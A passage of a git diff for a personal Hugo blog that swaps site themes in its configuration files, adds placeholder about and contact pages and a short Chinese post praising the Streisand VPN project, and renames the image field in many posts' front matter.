diff --git a/config.toml.ok b/config.ok similarity index 98% rename from config.toml.ok rename to config.ok index a006b353..b6d25a29 100644 --- a/config.toml.ok +++ b/config.ok @@ -1,7 +1,7 @@ title = "MC部落" # Add an trailing slash to ensure that all fonts render correctly. baseURL = "https://h.cowbay.org/" -theme = "bilberry-hugo-theme" +theme = "binario" enableRobotsTXT = true @@ -154,6 +154,8 @@ disqusShortname = "h-cowbay-org-1" category = "categories" [outputs] - home = [ "HTML", "JSON", "RSS" ] + #home = [ "HTML", "JSON", "RSS" ] + home = [ "HTML", "RSS" ] page = [ "HTML" ] + diff --git a/config.toml b/config.toml index a006b353..fb29c1fb 100644 --- a/config.toml +++ b/config.toml @@ -1,159 +1,113 @@ +baseurl = "https://h.cowbay.org" title = "MC部落" -# Add an trailing slash to ensure that all fonts render correctly. -baseURL = "https://h.cowbay.org/" -theme = "bilberry-hugo-theme" - -enableRobotsTXT = true - -# Change to one of your content languages definded at the end. -DefaultContentLanguage = "tw" - -# Enable / Disable Google Analytics statistics for your site -#googleAnalytics = "UA-128770427-1" -googleAnalytics = "UA-138954876-1" - -# Enable / Disable comments on the articles via Disqus. +theme = "nederburg" +languageCode = "en-us" +# Enable comments by entering your Disqus shortname disqusShortname = "h-cowbay-org-1" +# Enable Google Analytics by entering your tracking code +googleAnalytics = "UA-138954876-1" +preserveTaxonomyNames = true +paginate = 5 #frontpage pagination + +[privacy] + # Google Analytics privacy settings - https://gohugo.io/about/hugo-and-gdpr/index.html#googleanalytics + [privacy.googleAnalytics] + # set to true to disable service + disable = false + # set to true to meet General Data Protection Regulation (GDPR) + anonymizeIP = false + respectDoNotTrack = false + useSessionStorage = false [params] - # Favicon for the browser's favorites and tabs - favicon = "" # set a favicon icon - - # Custom CSS / JS modules that will be imported by the template. - # Files are relative to the static/ directory or a URL. - # Files are imported in the order they appear here, after - # theme.css and theme.js, respectively. - css_modules = ["https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"] - js_modules = [] - - # Description and meta data for the search engines + # Unmark to use post folder for images. Default is static folder. + #usepostimgfolder = true + slogan = "What’s the Worst That Could Happen?" + description = "some articles about job,food,passion sisters" # meta description + # You need to set author to have an author bio. If you have a writer in the markdown file it will override this. author = "Eric Chang" - description = "What’s the Worst That Could Happen?" - keywords = "linux,blog,responsive,search,font awesome,pages,posts,multilingual,highlight.js,syntax highlighting,premium,shortcuts" - - # How many articles should be displayed at once? - paginate = 10 - - # Enable / Disable MathJax - enable_mathjax = false - - # Enable / Disable algolia search -# algolia_search = true -# algolia_appId = "Y2C4RWMPXW" -# algolia_apiKey = "50ea7f8c41c0ad233926e0be2b769ed1" -# algolia_indexName = "default-content" - - algolia_search = true - algolia_appId = "2XL0P8XDCY" - algolia_apiKey = "4ef65b37b627bb886b46c34a10e63aa6" - algolia_indexName = "h_cowbay_org" - # Set this option to false if you want to search within all articles in all languages at once - algolia_currentLanguageOnly = false - - # Style configuration - # set the width of your site's content - siteWidth = "800px" - - # let hugo automatically resize and crop your images to the correct sizes - resizeImages = true - - # Header configuration - # your subtitle if you want to use any - subtitle = "What’s the Worst That Could Happen?" - - # if you want to use gravatar for the header image - gravatarEMail = "mc@mc4.us" - - # set an path to the image file you want to use | overwrites gravatar - customImage = "" - - # define the icon you want to use for the overlay for the customImage or gravatar. - overlayIcon = "fa-home" - - # always display the top navigation (with pages and search) on non-mobile screens - permanentTopNav = true - - # show a language chooser in the header - showHeaderLanguageChooser = false - - # Content configuration - # Enable an optional pinned page to display at the top of the index - # pinnedPost = "/content/github/" - # Set to true to pin only to the first page, false to all pages - # pinOnlyToFirstPage = true - - # enable automatical localization of the article's PublishedDate with momentjs - enableMomentJs = true - - # customize the date format | only works if momentjs is disabled | only works with English month names - # you can customize it with the options you find here: - # https://gohugo.io/functions/format/#hugo-date-and-time-templating-reference - dateFormat = "2006-01-02" - - # display the estimated reading time for an article - showReadingTime = false - - # Footer configuration - showFooter = true - - # How many articles should be displayed at latest posts in the footer? - # Set to -1 to hide the 'Latest Posts' column - amountLatestPostsInFooter = 7 - - # How many categories should be displayed in the footer section? - # Set to -1 to hide the 'Categories' column - amountCategoriesInFooter = 7 - - # show a language chooser in the header - showFooterLanguageChooser = false - - # social media profile urls for the footer links - showSocialMedia = true - - yapee = "https://www.yapee.tw/mvc/onlinePay/webLink?key=lMC74kucH21JChCR77-wJ80ZZ-Poh11amP24BwiDdHw" - facebook = "https://www.facebook.com/mariahchang" - twitter = "https://twitter.com/changchichung" - googleplus = "" - pinterest = "" - instagram = "" - tumblr = "" - youtube = "" - vimeo = "" - github = "https://github.com/changchichung" - xing = "" - linkedin = "" - - # credits line configuration - copyrightBy = "by Lednerb" - copyrightUseCurrentYear = false # set to true to always display the current year in the copyright - copyrightYearOverride = "2017" - copyrightUrl = "https://github.com/Lednerb" - creditsText = "Bilberry Hugo Theme" - #creditsUrl = "https://github.com/Lednerb/bilberry-hugo-theme" - creditsUrl = "https://www.yapee.tw/mvc/onlinePay/webLink?key=lMC74kucH21JChCR77-wJ80ZZ-Poh11amP24BwiDdHw" - - -# customize your available languages for your multi-langual site -# or delete the [Languages] blog to use the theme with only one supported language -[Languages] - [Languages.en] - weight = 1 - [Languages.de] - weight = 2 - title = "Mein cooler neuer Blog" - subtitle = "Hallo Welt! Dies ist der epischste Untertitel aller Zeiten." - [Languages.tw] - weight = 3 - title = "MCの飄狂山莊㊣" - subtitle = "What’s the Worst That Could Happen?" - -# don't change anything below -[taxonomies] - author = "author" - tag = "tags" - category = "categories" - -[outputs] - home = [ "HTML", "JSON", "RSS" ] - page = [ "HTML" ] - + authorLink = "https://github.com/changchichung" + bio = [ + "塵世裡一個迷途小書僮" + ] + copyright = [ + "© 2018 Göran Svensson", + "Nederburg Hugo Theme by [Appernetic](https://appernetic.io).", + "A port of Tracks by Compete Themes." + ] + + + # Contact page + # Since this template is static, the contact form uses www.formspree.io as a + # proxy. The form makes a POST request to their servers to send the actual + # email. Visitors can send up to a 1000 emails each month for free. + # + # What you need to do for the setup? + # + # - set your email address under 'email' below (it is also used in Gravatar for the bio). + # - upload the generated site to your server + # - send a dummy email yourself to confirm your account + # - click the confirm link in the email from www.formspree.io + # - you're done. Happy mailing! + email = "mc@notshraingmy.info" + + # Nav links in the side bar + [[menu.main]] + name = "Home" + url = "/" + weight = 1 + + [[menu.main]] + name = "About" + url = "about/" + weight = 2 + + [[menu.main]] + name = "Get in touch" + url = "contact/" + weight = 3 + +# this will also be in author bio if there is no writer. + [params.social] + facebook = "full Social profile url in facebook" + googleplus = "full profile url in googleplus" + email = "mc@hotshraingmy.info" + twitter = "chang0206" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "chang0206" + github = "changchichung" + pinterest = "full profile url in pinterest" + rss = true + +# Add a writer, then use it in the markdown front matter like this: writer = "Lukas Herman" + [params.writers] + [params.writers."Lukas Herman"] + link = "https://lherman.tk" + email = "lherman.cs@gmail.com" + bio = [ + "Lukas has a few skills up his sleve. He can fly blindfolded under a bridge while simultanous writing blog posts." + ] + facebook = "full lukas profile url in facebook" + googleplus = "full profile url in googleplus" + twitter = "full profile url in twitter" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "full profile url in instagram" + github = "full profile url in github" + pinterest = "full profile url in pinterest" + + [params.writers."Göran Svensson"] + link = "https://appernetic.io/" + email = "goran@molnsys.com" + bio = [ + "Göran is an avid blogger and the founder of Appernetic.io. This is the author bio shown after posts." + ] + facebook = "full Göran profile url in facebook" + googleplus = "full profile url in googleplus" + twitter = "full profile url in twitter" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "full profile url in instagram" + github = "full profile url in github" + pinterest = "full profile url in pinterest" diff --git a/themes/config.toml b/config.toml.binario similarity index 84% rename from themes/config.toml rename to config.toml.binario index 73cd3161..b6d25a29 100644 --- a/themes/config.toml +++ b/config.toml.binario @@ -1,15 +1,16 @@ title = "MC部落" # Add an trailing slash to ensure that all fonts render correctly. -baseURL = "https://h.cowbay.org" -theme = "bilberry-hugo-theme" +baseURL = "https://h.cowbay.org/" +theme = "binario" enableRobotsTXT = true # Change to one of your content languages definded at the end. -DefaultContentLanguage = "en" +DefaultContentLanguage = "tw" # Enable / Disable Google Analytics statistics for your site -googleAnalytics = "UA-128770427-1" +#googleAnalytics = "UA-128770427-1" +googleAnalytics = "UA-138954876-1" # Enable / Disable comments on the articles via Disqus. disqusShortname = "h-cowbay-org-1" @@ -27,8 +28,8 @@ disqusShortname = "h-cowbay-org-1" # Description and meta data for the search engines author = "Eric Chang" - description = "Bilberry Premium Theme for Hugo." - keywords = "blog,personal,responsive,search,font awesome,pages,posts,multilingual,highlight.js,syntax highlighting,premium,shortcuts" + description = "What’s the Worst That Could Happen?" + keywords = "linux,blog,responsive,search,font awesome,pages,posts,multilingual,highlight.js,syntax highlighting,premium,shortcuts" # How many articles should be displayed at once? paginate = 10 @@ -58,7 +59,7 @@ disqusShortname = "h-cowbay-org-1" # Header configuration # your subtitle if you want to use any - subtitle = "這是MC的HUGO部落格,採用bilberry theme" + subtitle = "What’s the Worst That Could Happen?" # if you want to use gravatar for the header image gravatarEMail = "mc@mc4.us" @@ -108,7 +109,8 @@ disqusShortname = "h-cowbay-org-1" # social media profile urls for the footer links showSocialMedia = true - + + yapee = "https://www.yapee.tw/mvc/onlinePay/webLink?key=lMC74kucH21JChCR77-wJ80ZZ-Poh11amP24BwiDdHw" facebook = "https://www.facebook.com/mariahchang" twitter = "https://twitter.com/changchichung" googleplus = "" @@ -127,7 +129,8 @@ disqusShortname = "h-cowbay-org-1" copyrightYearOverride = "2017" copyrightUrl = "https://github.com/Lednerb" creditsText = "Bilberry Hugo Theme" - creditsUrl = "https://github.com/Lednerb/bilberry-hugo-theme" + #creditsUrl = "https://github.com/Lednerb/bilberry-hugo-theme" + creditsUrl = "https://www.yapee.tw/mvc/onlinePay/webLink?key=lMC74kucH21JChCR77-wJ80ZZ-Poh11amP24BwiDdHw" # customize your available languages for your multi-langual site @@ -139,6 +142,10 @@ disqusShortname = "h-cowbay-org-1" weight = 2 title = "Mein cooler neuer Blog" subtitle = "Hallo Welt! Dies ist der epischste Untertitel aller Zeiten." + [Languages.tw] + weight = 3 + title = "MCの飄狂山莊㊣" + subtitle = "What’s the Worst That Could Happen?" # don't change anything below [taxonomies] @@ -147,6 +154,8 @@ disqusShortname = "h-cowbay-org-1" category = "categories" [outputs] - home = [ "HTML", "JSON", "RSS" ] + #home = [ "HTML", "JSON", "RSS" ] + home = [ "HTML", "RSS" ] page = [ "HTML" ] + diff --git a/config.toml.nederburg b/config.toml.nederburg new file mode 100644 index 00000000..84d6cdcc --- /dev/null +++ b/config.toml.nederburg @@ -0,0 +1,113 @@ +baseurl = "https://example.org/" +title = "Nederburg" +theme = "hugo-nederburg-theme" +languageCode = "en-us" +# Enable comments by entering your Disqus shortname +disqusShortname = "" +# Enable Google Analytics by entering your tracking code +googleAnalytics = "" +preserveTaxonomyNames = true +paginate = 5 #frontpage pagination + +[privacy] + # Google Analytics privacy settings - https://gohugo.io/about/hugo-and-gdpr/index.html#googleanalytics + [privacy.googleAnalytics] + # set to true to disable service + disable = false + # set to true to meet General Data Protection Regulation (GDPR) + anonymizeIP = false + respectDoNotTrack = false + useSessionStorage = false + +[params] + # Unmark to use post folder for images. Default is static folder. + #usepostimgfolder = true + slogan = "A fast & secure theme" + description = "Describe your website" # meta description + # You need to set author to have an author bio. If you have a writer in the markdown file it will override this. + author = "Göran Svensson" + authorLink = "https://appernetic.io/" + bio = [ + "Göran is an avid blogger and the founder of Appernetic.io. This is the author bio shown after posts." + ] + copyright = [ + "© 2018 Göran Svensson", + "Nederburg Hugo Theme by [Appernetic](https://appernetic.io).", + "A port of Tracks by Compete Themes." + ] + + + # Contact page + # Since this template is static, the contact form uses www.formspree.io as a + # proxy. The form makes a POST request to their servers to send the actual + # email. Visitors can send up to a 1000 emails each month for free. + # + # What you need to do for the setup? + # + # - set your email address under 'email' below (it is also used in Gravatar for the bio). + # - upload the generated site to your server + # - send a dummy email yourself to confirm your account + # - click the confirm link in the email from www.formspree.io + # - you're done. Happy mailing! + email = "goran@molnsys.com" + + # Nav links in the side bar + [[menu.main]] + name = "Home" + url = "/" + weight = 1 + + [[menu.main]] + name = "About" + url = "about/" + weight = 2 + + [[menu.main]] + name = "Get in touch" + url = "contact/" + weight = 3 + +# this will also be in author bio if there is no writer. + [params.social] + facebook = "full Social profile url in facebook" + googleplus = "full profile url in googleplus" + email = "email@example.com" + twitter = "full profile url in twitter" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "full profile url in instagram" + github = "full profile url in github" + pinterest = "full profile url in pinterest" + rss = true + +# Add a writer, then use it in the markdown front matter like this: writer = "Lukas Herman" + [params.writers] + [params.writers."Lukas Herman"] + link = "https://lherman.tk" + email = "lherman.cs@gmail.com" + bio = [ + "Lukas has a few skills up his sleve. He can fly blindfolded under a bridge while simultanous writing blog posts." + ] + facebook = "full lukas profile url in facebook" + googleplus = "full profile url in googleplus" + twitter = "full profile url in twitter" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "full profile url in instagram" + github = "full profile url in github" + pinterest = "full profile url in pinterest" + + [params.writers."Göran Svensson"] + link = "https://appernetic.io/" + email = "goran@molnsys.com" + bio = [ + "Göran is an avid blogger and the founder of Appernetic.io. This is the author bio shown after posts." + ] + facebook = "full Göran profile url in facebook" + googleplus = "full profile url in googleplus" + twitter = "full profile url in twitter" + linkedin = "full profile url in linkedin" + stackoverflow = "full profile url in stackoverflow" + instagram = "full profile url in instagram" + github = "full profile url in github" + pinterest = "full profile url in pinterest" diff --git a/config.toml.orianna b/config.toml.orianna deleted file mode 100644 index e1325aec..00000000 --- a/config.toml.orianna +++ /dev/null @@ -1,88 +0,0 @@ -baseURL = "https://h.cowbay.org" -builddrafts = false -languageCode = "zn-Hant" -canonifyurls = true -contentdir = "content" -layoutdir = "layouts" -publishdir = "public" -enableEmoji = true -hasCJKLanguage = true -summaryLength = 200 -Paginate = 3 - -theme = "AllinOne" -title = "Orianna" - -pygmentsuseclasses = true - - -[permalinks] - blog = "blog/:year-:month/:slug/" - - -[taxonomies] - tag = "tags" - series = "series" - category = "categories" - - -[menu] - #[[menu.main]] - # name = "Blog" - # weight = -120 - # identifier = "blog" - # url = "blog/" - - #[[menu.main]] - # name = "Moment" - # weight = -110 - # identifier = "moment" - # url = "moment/" - - [[menu.main]] - name = "About" - weight = -100 - identifier = "about" - url = "about/" - - - -[params] - faviconfile = "img/zheng.png" # from static/ - avatar = "img/profile.jpg" # path to image in static dir e.g img/avatar.png - author = "Orianna" - description = ["Be myself.", "Love the wonderful world.", "Do the right things and be a better man."] # appears in the site header when set to a non-empty string - welcome_head = "Hello, World!" - welcome_word = "~ No Day But Today ~" - - latestpostscount = 5 # how many posts to display on the home page - bloggroupby = 'month' - dateform = "Jan 2, 2006" - dateformfull = "2006-01-02 Monday 15:04:05" - noshowreadtime = false # if true, don't show " minutes read" in posts - - # slides - slidesDirPath = "themes/AllinOne/static/img/header-slides" # path to image in local dir (path for hugo) - slidesDirPathURL = "img/header-slides" # path to image in static dir (for static pages) - - # highlighting - highlightjs = true - - # latex - katex = true - - # links - email = "mc@mc4.us" - github = "//github.com/you" - linkedin = "//linkedin.com/in/you" - facebook = "//facebook.com/you" - googleplus = "//google.com/you" - twitter = "//twitter.com/you" - px500 = "//px500" - instagram = "//instagram.com/you" - include_rss = true # include RSS tag in and show RSS icon - - # analytics - googleAnalytics = "your-google-analytic-id" - - diff --git a/content/about/index.md b/content/about/index.md new file mode 100644 index 00000000..8f233517 --- /dev/null +++ b/content/about/index.md @@ -0,0 +1,21 @@ ++++ +date = "2016-11-05T21:05:33+05:30" +title = "About me" ++++ + +An sincerity so extremity he additions. Her yet **there truth merit**. Mrs all projecting favourable now unpleasing. Son law garden chatty temper. Oh children provided to mr elegance marriage strongly. Off can admiration prosperous now devonshire diminution law. + +Received overcame oh sensible so at an. Formed do change merely to county it. **Am separate contempt** domestic to to oh. On relation my so addition branched. Put hearing cottage she norland letters equally prepare too. Replied exposed savings he no viewing as up. Soon body add him hill. No father living really people estate if. Mistake do produce beloved demesne if am pursuit. + +![This is me][1] + +The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn't listen. She packed her seven versalia, put her initial into the belt and made herself on the way. + +#### Education + +* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. +* Aliquam tincidunt mauris eu risus. + +When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then + +[1]: /img/about.jpg diff --git a/content/contact/_index.md b/content/contact/_index.md new file mode 100644 index 00000000..41213a82 --- /dev/null +++ b/content/contact/_index.md @@ -0,0 +1,10 @@ ++++ +date = "2016-11-06T13:00:25+05:30" +title = "Get in touch" ++++ + +When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then + +Effects present letters inquiry no an removed or friends. Desire behind latter me though in. Supposing shameless am he engrossed up additions. My possible peculiar together to. Desire so better am cannot he up before points. Remember mistaken opinions it pleasure of debating. Court front maids forty if aware their at. Chicken use are pressed removed. + +Able an hope of body. Any nay shyness article matters own removal nothing his forming. Gay own additions education satisfied the perpetual. If he cause manor happy. Without farther she exposed saw man led. Along on happy could cease green oh. diff --git a/content/post/10g-lab-using-proxmox-and-mellanox.md b/content/post/10g-lab-using-proxmox-and-mellanox.md index 3704646a..4237344f 100644 --- a/content/post/10g-lab-using-proxmox-and-mellanox.md +++ b/content/post/10g-lab-using-proxmox-and-mellanox.md @@ -3,7 +3,7 @@ title: "[筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB " date: 2018-11-30T16:05:14+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-03.jpg" +image: "https://h.cowbay.org/images/post-default-03.jpg" categories: ['筆記'] tags: ['10G','筆記','mellanox'] author: "Eric Chang" diff --git a/content/post/another-way-to-keep-ansible-log.md b/content/post/another-way-to-keep-ansible-log.md index 655786de..ec41e864 100644 --- a/content/post/another-way-to-keep-ansible-log.md +++ b/content/post/another-way-to-keep-ansible-log.md @@ -2,7 +2,7 @@ title: "[筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command" date: 2019-08-05T16:24:40+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-10.jpg" +image: "https://h.cowbay.org/images/post-default-10.jpg" categories: ['ansible'] tags: ['ansible'] author: "Eric Chang" diff --git a/content/post/ansible-run-task-depends-on-ipaddr.md b/content/post/ansible-run-task-depends-on-ipaddr.md index 8d516fab..a5e56f6f 100644 --- a/content/post/ansible-run-task-depends-on-ipaddr.md +++ b/content/post/ansible-run-task-depends-on-ipaddr.md @@ -4,7 +4,7 @@ date: 2019-07-23T15:06:37+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-7.jpg" +image: "https://h.cowbay.org/images/post-default-7.jpg" categories: ['ansible'] tags: ['ansible'] author: "Eric Chang" diff --git a/content/post/ansible-selectattr-filter.md b/content/post/ansible-selectattr-filter.md index e3164be7..9729c689 100644 --- a/content/post/ansible-selectattr-filter.md +++ b/content/post/ansible-selectattr-filter.md @@ -2,7 +2,7 @@ title: "[筆記] 還是 Ansible Selectattr " date: 2018-11-29T11:22:28+08:00 -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['ansible'] author: "Eric Chang" diff --git a/content/post/ansible-selectattr-from-list-in-dictionary.md b/content/post/ansible-selectattr-from-list-in-dictionary.md index d232b85b..055d2efa 100644 --- a/content/post/ansible-selectattr-from-list-in-dictionary.md +++ b/content/post/ansible-selectattr-from-list-in-dictionary.md @@ -4,7 +4,7 @@ date: 2019-07-01T09:06:12+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-7.jpg" +image: "https://h.cowbay.org/images/post-default-7.jpg" categories: ['Ansible'] tags: ['Ansible'] author: "Eric Chang" diff --git a/content/post/ansible-selectattr.md b/content/post/ansible-selectattr.md index d818d11c..3c63dbf8 100644 --- a/content/post/ansible-selectattr.md +++ b/content/post/ansible-selectattr.md @@ -3,7 +3,7 @@ title: "[筆記] Ansible how to use 'list' in yaml file " date: 2018-11-27T16:50:53+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-1.jpg" +image: "https://h.cowbay.org/images/post-default-1.jpg" categories: ['筆記'] tags: ['ansible','linux'] author: "Eric Chang" diff --git a/content/post/awesome-all-in-one-vpn-server-streisand.md b/content/post/awesome-all-in-one-vpn-server-streisand.md new file mode 100644 index 00000000..ccdfadee --- /dev/null +++ b/content/post/awesome-all-in-one-vpn-server-streisand.md @@ -0,0 +1,48 @@ +--- +title: "[筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand" +date: 2019-10-14T13:59:58+08:00 +noSummary: false +image: "https://h.cowbay.org/images/post-default-18.jpg" +categories: ['筆記'] +tags: ['vpn','wireguard'] +author: "Eric Chang" +keywords: +--- + +最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案 + +就不小心發現了這個 streisand + +https://github.com/StreisandEffect/streisand + +玩了一下,發現這根本就是終極的VPN Server solution .. + + + +包含了各種常見的VPN 套件,像是 + +* OpenConnect / Cisco AnyConnect +* OpenVPN +* Shadowsocks +* WireGuard + +並且直接整合了幾間比較大的雲端主機服務商 + + +* Amazon Web Services (AWS) +* Microsoft Azure +* Digital Ocean +* Google Compute Engine (GCE) +* Linode +* Rackspace + +透過指令,可以簡單的在上述的空間建立一台新的 VPS (可惜沒有vultr) + +安裝步驟什麼的就不說了,因為整合了 ansible 所以過程很簡單 + +而且在安裝完成後,會自動生成相關文件 + +文件中包含了怎麼連線的方式,以及連線設定檔,甚至連 QRCODE 都幫你做好 + +真的是超級方便的VPN工具! + diff --git a/content/post/backup-restore-postgresql-with-pgbackrest.md b/content/post/backup-restore-postgresql-with-pgbackrest.md index fc703117..5bde40f3 100644 --- a/content/post/backup-restore-postgresql-with-pgbackrest.md +++ b/content/post/backup-restore-postgresql-with-pgbackrest.md @@ -2,7 +2,7 @@ title: "[筆記] 用pbackrest 備份還原 postgresql / Backup Restore Postgresql With Pgbackrest" date: 2019-09-05T11:42:28+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-15.jpg" categories: ['筆記'] tags: ['postgresql'] author: "Eric Chang" diff --git a/content/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd.md b/content/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd.md index 12b1c459..7b1e26ee 100644 --- a/content/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd.md +++ b/content/post/bencmark-with-external-internal-nvme-ssd-and-external-sata-ssd.md @@ -3,7 +3,7 @@ title: "[筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外 date: 2019-09-10T14:37:09+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-9.jpg" categories: ['筆記'] tags: ['postgresql','benchmark','nvme'] author: "Eric Chang" diff --git a/content/post/bookstack-docker.md b/content/post/bookstack-docker.md index c9bd1ca1..7093ef1d 100644 --- a/content/post/bookstack-docker.md +++ b/content/post/bookstack-docker.md @@ -3,7 +3,7 @@ title: "Bookstack Docker" date: 2018-11-06T14:57:14+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-12.jpg" +image: "https://h.cowbay.org/images/post-default-12.jpg" categories: ['筆記'] tags: ['docker','Bookstack'] author: "Eric Chang" diff --git a/content/post/change-preferred-language-in-firefox.md b/content/post/change-preferred-language-in-firefox.md index 19e869d5..ee523aae 100644 --- a/content/post/change-preferred-language-in-firefox.md +++ b/content/post/change-preferred-language-in-firefox.md @@ -3,7 +3,7 @@ title: "[筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語 date: 2018-11-15T11:06:28+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-9.jpg" +image: "https://h.cowbay.org/images/post-default-9.jpg" categories: ['筆記'] tags: ['筆記','firefox','metabase'] author: "Eric Chang" diff --git a/content/post/change-timezone-in-docker.md b/content/post/change-timezone-in-docker.md index d437ca91..b244001c 100644 --- a/content/post/change-timezone-in-docker.md +++ b/content/post/change-timezone-in-docker.md @@ -3,7 +3,7 @@ title: "[筆記] 修改 docker 容器內的時區 - Change Timezone in Docker" date: 2019-05-21T17:25:15+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-3.jpg" +image: "https://h.cowbay.org/images/post-default-3.jpg" categories: ['筆記'] tags: ['docker','timezone'] author: "Eric Chang" diff --git a/content/post/command_to_test_main_ssl.md b/content/post/command_to_test_main_ssl.md index 520470ec..7e962370 100644 --- a/content/post/command_to_test_main_ssl.md +++ b/content/post/command_to_test_main_ssl.md @@ -2,7 +2,7 @@ title: "[筆記] 測試mail server 的SSL憑證的指令 Command to test mailserver SSL" date: 2019-03-20T11:42:47+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-10.jpg" +image: "https://h.cowbay.org/images/post-default-10.jpg" categories: [] tags: [] author: "Eric Chang" diff --git a/content/post/copy_role_in_pgsql.md b/content/post/copy_role_in_pgsql.md index 57c75c00..065ba633 100644 --- a/content/post/copy_role_in_pgsql.md +++ b/content/post/copy_role_in_pgsql.md @@ -3,7 +3,7 @@ title: "PostgreSQL 直接從已經存在的使用者複製權限到另一個使 date: 2018-11-12T09:48:12+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-7.jpg" +image: "https://h.cowbay.org/images/post-default-7.jpg" categories: ['筆記'] tags: ['psql','筆記'] author: "Eric Chang" diff --git a/content/post/create-portable-vim-environment.md b/content/post/create-portable-vim-environment.md index c1fd296c..7a0e4185 100644 --- a/content/post/create-portable-vim-environment.md +++ b/content/post/create-portable-vim-environment.md @@ -3,7 +3,7 @@ title: "[筆記] 建立一個帶著走的 VIM 環境 Creating portable Vim envir date: 2018-12-07T15:19:47+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-8.jpg" +image: "https://h.cowbay.org/images/post-default-8.jpg" categories: ['筆記'] tags: ['vim'] author: "Eric Chang" diff --git a/content/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp.md b/content/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp.md index 951e7906..6cc540cc 100644 --- a/content/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp.md +++ b/content/post/do-no-use-10-0-0-0-private-ipaddr-in-gcp.md @@ -2,7 +2,7 @@ title: "[筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP" date: 2019-08-16T10:18:06+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-8.jpg" +image: "https://h.cowbay.org/images/post-default-8.jpg" categories: ['筆記'] tags: ['vpn','wireguard'] author: "Eric Chang" diff --git a/content/post/enable-synology-public-ssh.md b/content/post/enable-synology-public-ssh.md index c4190a9c..f49c0360 100644 --- a/content/post/enable-synology-public-ssh.md +++ b/content/post/enable-synology-public-ssh.md @@ -2,7 +2,7 @@ title: "筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入" date: 2018-11-05T14:16:54+08:00 -featuredImage: "https://i.imgur.com/jcDQmI1.png" +image: "https://i.imgur.com/jcDQmI1.png" noSummary: false categories: ['筆記'] tags: ['筆記','synology','NAS','SSH'] diff --git a/content/post/fix-zpool-device-busy-using-dmsetup.md b/content/post/fix-zpool-device-busy-using-dmsetup.md index bb594c38..145695d0 100644 --- a/content/post/fix-zpool-device-busy-using-dmsetup.md +++ b/content/post/fix-zpool-device-busy-using-dmsetup.md @@ -4,7 +4,7 @@ date: 2019-04-01T15:56:27+08:00 draft: false noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-11.jpg" categories: ['筆記'] tags: ['zfs'] author: "Eric Chang" diff --git a/content/post/incredibly-slow-mdadm-rebuild.md b/content/post/incredibly-slow-mdadm-rebuild.md index 27f8315c..5e363aed 100644 --- a/content/post/incredibly-slow-mdadm-rebuild.md +++ b/content/post/incredibly-slow-mdadm-rebuild.md @@ -2,7 +2,7 @@ title: "[碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild" date: 2018-12-12T11:10:22+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-1.jpg" +image: "https://h.cowbay.org/images/post-default-1.jpg" categories: ['碎念'] tags: ['mdadm'] author: "Eric Chang" diff --git a/content/post/install-asus-10g-nic-in-proxmox.md b/content/post/install-asus-10g-nic-in-proxmox.md index 76da0788..f673ec51 100644 --- a/content/post/install-asus-10g-nic-in-proxmox.md +++ b/content/post/install-asus-10g-nic-in-proxmox.md @@ -2,7 +2,7 @@ title: "Install Asus 10G NIC XG-C100C in Proxmox" date: 2019-06-17T13:20:57+08:00 noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" +image: "https://h.cowbay.org/images/post-default-13.jpg" categories: [Proxmox] tags: [proxmox] author: "Eric Chang" diff --git 